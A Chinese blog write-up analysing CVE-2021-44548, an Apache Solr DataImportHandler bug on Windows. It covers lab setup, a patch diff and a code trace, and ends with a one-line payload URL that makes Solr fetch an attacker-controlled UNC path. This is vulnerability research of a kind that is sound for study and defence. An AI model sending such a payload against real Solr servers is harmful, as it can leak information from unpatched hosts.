记一次失败的CVE-2021-44548分析

CVE-2021-44548

之前在zsxq看到有师傅发solr的洞,今天看了一下,但是好像危害不大,不过还是学习为主看一波

https://solr.apache.org/security.html#cve-2021-44548-apache-solr-information-disclosure-vulnerability-through-dataimporthandler

https://issues.apache.org/jira/browse/SOLR-15826

影响版本

version < 8.11.1(windows)

环境搭建

下载solr-8.11.0

然后bin目录下

./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 "

然后这里需要创建一个SolrCore(需要命令行创建!)

./solr.cmd create_core -c core1

然后在solr-8.11.0\dist目录中

wget https://mirror.shileizcc.com/Solr/mysql-connector-java-5.1.42-bin.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-7.3.1.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-extras-7.3.1.jar

solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由

  <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
    <lst name="defaults">
      <str name="config">data-config.xml</str>
    </lst>
 </requestHandler>
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />

重启solr即可

漏洞分析

这里补丁判断了resource是否开头为\\

image-20211223145856592

再看一下描述

image-20211223145354279

所以这个漏洞就是通过resource为\\ip,然后solr就回去请求该unc路径造成信息泄露什么的

然后下一步找触发点

在dataimport这里可以看到能加载data-config.xml

image-20211223150329716

点一下reload,看一下请求路由

http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json

可以发现处理请求的地方在DataImportHandler#handleRequestBody

其实这个地方根据之前写的solrconfig.xml也能看到

image-20211223150905213

这里发现如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控

image-20211223151830530

跟入solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource

image-20211223152200888

这里的342行

this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1

再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf

再执行resolve(resource)时,这里的WindowsPathType变成了UNC

image-20211223152738016

resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数

image-20211223152824503

image-20211223152853197

所以只要resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径,如

image-20211223150014269

本来想试一下能不能任意文件读,但是这里会处理..然后判断开头是否为SolrCore的路径,所以只能读SolrCore下的文件,要么就开启-Dsolr.allow.unsafe.resourceloading=true

image-20211223154934419

payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇